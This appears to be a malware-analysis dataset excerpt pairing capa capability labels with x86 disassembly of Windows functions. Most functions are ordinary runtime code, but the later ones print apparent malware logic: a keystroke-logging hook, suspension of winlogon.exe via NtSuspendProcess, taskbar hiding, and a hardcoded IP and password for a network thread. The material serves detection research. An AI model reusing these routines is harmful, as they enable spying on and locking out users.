joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5b9e97
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x6327e8]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x5b9ee2
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.005ba22a
test al, al
jne 0x5b9edc
sub edx, 2
cmp edx, edi
jne 0x5b9ec2
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x5b9f04
lea eax, [edi + 2]
cmp edx, eax
je 0x5b9f04
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.005b9b5e
add esp, 0x10
jmp 0x5b9ffe
push esi
lea ecx, [ebp - 0x255]
call fcn.005ba22a
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x5b9f47
push dword [ebp - 0x25c]
jmp 0x5b9ef4
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x5b9f84
cmp word [ebp - 0x226], 0
je 0x5b9fa5
cmp word [ebp - 0x226], ax
jne 0x5b9f84
cmp word [ebp - 0x224], 0
je 0x5b9fa5
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.005b9b5e
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x5b9ff1
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x5b9f5e
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x5b9fd9
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x5b9ffe
push 0x5b9760
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0059cfc0
add esp, 0x10
jmp 0x5b9fce
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055f428
leave
ret
Function at 0x5bb313
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x5bb3b0
push ebx
push esi
call fcn.005bb2cf
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.005b466a
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x5bb35d
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x5bb3af
push edi
push eax
call fcn.005ae48c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x5bb37d
call fcn.005ad63c
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x5bb3ae
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.005b466a
add esp, 0x20
test eax, eax
jne 0x5bb39c
push edi
call fcn.005ad63c
jmp 0x5bb3a4
push ebx
call fcn.005ad63c
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x5bb3b3
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x5bb3c4
pop esi
ret
push ebx
push edi
push esi
call fcn.005bb2cf
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.005ae48c
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x5bb3ec
push ebx
push esi
push edi
call fcn.005618a0
add esp, 0xc
push 0
call fcn.005ad63c
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x5bbcdb
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005bb661

Function at 0x5bc1c6
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005bc09a

Function at 0x5be9bc
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.005ad33f
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x5bea2b
cmp esi, dword [ebp - 4]
je 0x5bea26
cmp dword [ebp + 0xc], 0
je 0x5bea26
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x5bea03
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.005be50e
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x5bea2d
xor eax, eax
inc eax
jmp 0x5bea2d
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x5bea92
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x6327e8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.005ad33f
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.005ad33f
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x5beb09
cmp word [ecx], dx
je 0x5beb09
mov eax, dword [0x60241c]
push edi
dec eax
push eax
push 0x602308
call fcn.005bea31
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x5beb7c
cmp word [eax], dx
je 0x5beb7c
mov eax, dword [edi]
test eax, eax
je 0x5beb2d
cmp word [eax], dx
je 0x5beb2d
lea eax, [ebp - 0x10]
push eax
call fcn.005be414
jmp 0x5beb36
lea eax, [ebp - 0x10]
push eax
call fcn.005be4af
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x5beba6
mov eax, dword [0x602304]
push dword [ebp - 0x14]
dec eax
push eax
push 0x601ff8
call fcn.005bea31
add esp, 0xc
test al, al
je 0x5beba6
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x5beb71
cmp word [eax], di
je 0x5beb71
lea eax, [ebp - 0x10]
push eax
call fcn.005be414
pop ecx
jmp 0x5beba8
lea eax, [ebp - 0x10]
push eax
call fcn.005be4af
jmp 0x5beb6e
mov eax, dword [edi]
test eax, eax
je 0x5beb93
cmp word [eax], dx
je 0x5beb93
lea eax, [ebp - 0x10]
push eax
call fcn.005be3ab
pop ecx
jmp 0x5beba6
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x5bec71
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.005be8b6
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x5bec71
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x5bec71
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x5bec71
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x5bebfe
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.005b08f6
test ebx, ebx
je 0x5bec6c
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.005b08f6
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x5bec71
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x5bec71
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.005c6d72
add esp, 0x10
xor eax, eax
inc eax
jmp 0x5bec73
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055f428
leave
ret
Function at 0x5c7249
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.005c706d
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x5c73b8
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x5c73b8
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x5c736d
jg 0x5c72a5
test eax, eax
je 0x5c7363
push 1
push 0x1000
call fcn.005afb9b
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x5c72c8
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x5c735a
push 0x8000
push ebx
call fcn.005aa7c5
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x5c72f1
jg 0x5c72ec
cmp ecx, 0x1000
jb 0x5c72f1
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.005b2267
add esp, 0x10
cmp eax, 0xffffffff
je 0x5c7336
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x5c72ec
jl 0x5c731d
test ecx, ecx
jne 0x5c72de
push dword [ebp - 0xc]
push ebx
call fcn.005aa7c5
push esi
call fcn.005ad63c
add esp, 0xc
xor ebx, ebx
jmp 0x5c73c6
cmp byte [edi + 0x24], 0
je 0x5c734d
cmp dword [edi + 0x20], 5
jne 0x5c734d
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x5c7358
mov ebx, dword [edi + 0x18]
jmp 0x5c735a
xor ebx, ebx
push esi
call fcn.005ad63c
pop ecx
jmp 0x5c73c6
test ecx, ecx
jg 0x5c732f
jl 0x5c736d
test eax, eax
jae 0x5c732f
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.005b4396
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x5c738d
cmp byte [edi + 0x1c], 0
je 0x5c732f
jmp 0x5c73be
push ebx
call fcn.005bc5f8
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x5c732f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x5c73c6
cmp byte [edi + 0x1c], 0
je 0x5c73c3
mov ebx, dword [edi + 0x18]
jmp 0x5c73c6
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.005b4396
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x5c8570
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x5c859d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x5c859d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x482269
Capabilities:
Get file system object information

Disassembly:
push 0x274
mov eax, 0x56f5a7
call fcn.005479eb
mov ebx, ecx
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.004027a0
pop ecx
lea esi, [eax + 0x10]
mov dword [ebp - 0x278], esi
and dword [ebp - 4], 0
lea ecx, [ebp - 0x278]
push 0
push 0x57ffc8
call fcn.004111de
cmp eax, 0xffffffff
jne 0x482344
push 0
push 0x58b1d8
lea ecx, [ebp - 0x278]
call fcn.004111de
cmp eax, 0xffffffff
jne 0x482344
push 0
push 0x57ff34
lea ecx, [ebp - 0x278]
call fcn.004111de
cmp eax, 0xffffffff
jne 0x482344
mov eax, dword [ebx + 0x14]
sub eax, 0x10
push eax
call fcn.004027a0
add eax, 0x10
pop ecx
mov dword [ebp - 0x280], eax
xor edx, edx
mov byte [ebp - 4], 1
push edx
lea ecx, [ebp - 0x114]
push ecx
push 0x104
push edx
push eax
lea edi, [eax - 0x10]
push edx
mov dword [ebp - 0x27c], edi
call dword [sym.imp.KERNEL32.dll_SearchPathA]
test eax, eax
jne 0x482313
mov eax, dword [ebx]
mov edi, dword [eax + 0x14]
mov ecx, edi
call dword [0x579a14]
mov ecx, ebx
call edi
mov ecx, dword [ebp - 0x27c]
mov edi, eax
call fcn.0040cf92
jmp 0x48237d
lea eax, [ebp - 0x114]
push eax
call fcn.005503e0
pop ecx
push eax
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x278]
call fcn.004062f0
mov ecx, edi
mov byte [ebp - 4], 0
call fcn.0040cf92
mov esi, dword [ebp - 0x278]
push 0x105
push 0x160
lea eax, [ebp - 0x274]
push eax
push 0
push esi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
test eax, eax
je 0x48236a
mov edi, dword [ebp - 0x274]
jmp 0x48237d
mov eax, dword [ebx]
mov edi, dword [eax + 0x14]
mov ecx, edi
call dword [0x579a14]
mov ecx, ebx
call edi
mov edi, eax
lea ecx, [esi - 0x10]
call fcn.0040cf92
mov eax, edi
call fcn.0054799a
ret

Function at 0x5040e6
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
call fcn.0055910e
pop ecx
test eax, eax
jne 0x504128
push dword [ebp - 4]
push dword [ebp + 0xc]
push dword [ebp + 8]
push str._s_s_X.tmp
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call fcn.0040f0a8
add esp, 0x18
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x5040ee
leave
ret
push dword [ebp + 0x10]
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
leave
ret

Function at 0x560927
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0056079d
Function at 0x10001e60
Capabilities:
Check for time delay via queryperformancecounter
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0xc8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x2f0]
push ecx
call edi
lea eax, [esi + 0xcc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea ebx, [esi + 0xb8]
push ebx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [ebp + 0x10]
push edx
lea edi, [esi + 0xd4]
push 0xff
push edi
call fcn.10009f0c
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push edi
push edi
mov dword [esi + 0x2d4], eax
call fcn.1000ad30
mov eax, dword [esi + 0x2d4]
lea ecx, [eax + 4]
push eax
mov dword [esi + 0x2d8], ecx
call fcn.10009d27
add esp, 0x10
mov dword [esi + 0x2ec], eax
test eax, eax
je 0x10001f57
mov ecx, dword [esi + 0x2e8]
mov eax, dword [ebp + 0xc]
mov edx, dword [ecx + 4]
mov edx, dword [edx]
push 0
push 0
push 1
add ecx, 4
push eax
mov eax, dword [ebp + 8]
push eax
call edx
mov eax, dword [esi + 0x2f0]
push 0x1770
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10001f62
cmp eax, 0x102
je 0x10001f4a
cmp eax, 0xffffffff
jne 0x10001f57
mov ecx, dword [esi + 0x2f0]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [esi + 0x2f0]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
lea edi, [esi + 0xc0]
push edi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [edi]
sub eax, dword [ebx]
mov ecx, dword [edi + 4]
sbb ecx, dword [ebx + 4]
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
fild qword [ebp - 8]
push 1
fild qword [esi + 0xb0]
lea eax, [esi + 0xcc]
push eax
fdiv qword [0x1001df98]
fdivp st(1)
fstp qword [esi + 0xa8]
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [esi + 0x2f0]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp + 0x10]
push eax
push 0
push esi
push 0x10001fe0
push 0
push 0
call fcn.10009e6c
add esp, 0x18
pop edi
mov dword [esi + 0x2f4], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10002660
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x10020168]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x228
lea eax, [ebp - 0x22c]
push 0
push eax
mov dword [ebp - 0x230], 0x22c
call fcn.1000a9a0
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea ecx, [ebp - 0x230]
mov esi, eax
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10002723
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea esp, [esp]
mov ecx, str.winlogon.exe
lea eax, [ebp - 0x20c]
jmp 0x100026d0
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x100026f6
test dx, dx
je 0x100026f2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x100026f6
add eax, 4
add ecx, 4
test dx, dx
jne 0x100026d0
xor eax, eax
jmp 0x100026fb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x1000273c
push 0x104
lea edx, [ebp - 0x20c]
push 0
push edx
call fcn.1000a9a0
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push esi
call edi
test eax, eax
jne 0x100026c0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000979f
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x228]
pop edi
xor ecx, ebp
pop esi
call fcn.1000979f
mov esp, ebp
pop ebp
ret

Function at 0x10002890
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
push 0x10002760
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
push str.ntdll
mov dword [0x10022858], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.RtlAdjustPrivilege
push esi
call edi
push str.NtSuspendProcess
push esi
mov ebx, eax
call edi
push str.NtResumeProcess
push esi
mov dword [ebp - 8], eax
call edi
mov dword [0x10022850], eax
call fcn.10002660
mov esi, eax
lea eax, [ebp - 1]
push eax
push 0
push 1
push 0x14
mov byte [ebp - 1], 0
call ebx
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push eax
mov dword [0x10022854], eax
call dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10002950
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019f18
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10020168]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], ecx
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
push esi
call edx
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 8], eax
mov dword [ebp - 4], 0
mov ecx, dword [esi + 4]
mov dword [esi], vtable.CChatManager.0
mov dword [esi + 0x14], 0
mov byte [ebp - 0xd], 0x10
mov eax, dword [ecx]
mov eax, dword [eax + 8]
push 1
lea edx, [ebp - 0xd]
push edx
call eax
mov ecx, dword [esi + 8]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push esi
push 0x10002b30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x100029f7
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x10002a40
Capabilities:
Hide the windows taskbar

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019ee8
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x10020168]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov dword [ebx], vtable.CChatManager.0
xor esi, esi
mov dword [ebp - 4], esi
cmp dword [0x1002285c], 1
jne 0x10002af6
mov eax, dword [0x10022858]
cmp eax, esi
je 0x10002aa1
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov eax, dword [0x10022854]
push eax
call dword [0x10022850]
mov dword [0x10022858], esi
push esi
call dword [sym.imp.USER32.dll_ClipCursor]
push 1
push esi
push esi
push 0x61
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
push 5
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowW]
push str.Shell_TrayWnd
call esi
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
push eax
call edi
push 5
push 0x1001dee4
push str.Button
call esi
push eax
call edi
push 5
push 0
push str.Progman
call esi
push eax
call edi
mov dword [0x1002285c], 0
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x10002b0d
push 0
push 0
push 0x401
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebx + 8]
push ecx
mov dword [ebx], vtable.CManager.0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100033c0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x100032c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
ret

Function at 0x100033f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
push 0xff
push str.192.168.50.142
call fcn.10009f0c
mov edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 0xc]
push edx
push 0xff
push str.123456
mov dword [0x10021860], ecx
call fcn.10009f0c
mov eax, dword [ebp + 0x10]
add esp, 0x18
push 0
push 0
push 0
push 0x100032c0
push 0
push 0
mov dword [0x10021ac8], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
pop ebp
ret

Function at 0x10004ae0
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 8], 1
mov dword [ebp - 4], 0
test eax, eax
jne 0x10004b32
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea eax, [ebp - 8]
push eax
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0xffff
push edi
mov esi, eax
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x10004b6b
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea edx, [ebp - 4]
push edx
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
mov esi, eax
lea eax, [ebp - 4]
push eax
push 4
push 0xffff
push edi
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp eax, 2
jne 0x10004ba4
mov edi, dword [ebp + 8]
mov ebx, dword [sym.imp.WS2_32.dll_setsockopt]
push 4
lea ecx, [ebp - 4]
push ecx
push 0xfffffffffffffffb
push 0xffff
push edi
call ebx
push 4
lea edx, [ebp - 8]
push edx
push 4
push 0xffff
push edi
mov esi, eax
call ebx
pop edi
or eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10004ff0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
xor eax, eax
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x24]
mov word [ebp - 0x24], ax
mov eax, dword [ebp + 8]
push edx
push eax
mov dword [ebp - 8], 0x1c
call dword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
je 0x1000501f
xor eax, eax
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push ecx
push edx
push eax
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x24]
push edx
call fcn.10004ed0
add esp, 0x14
mov esp, ebp
pop ebp
ret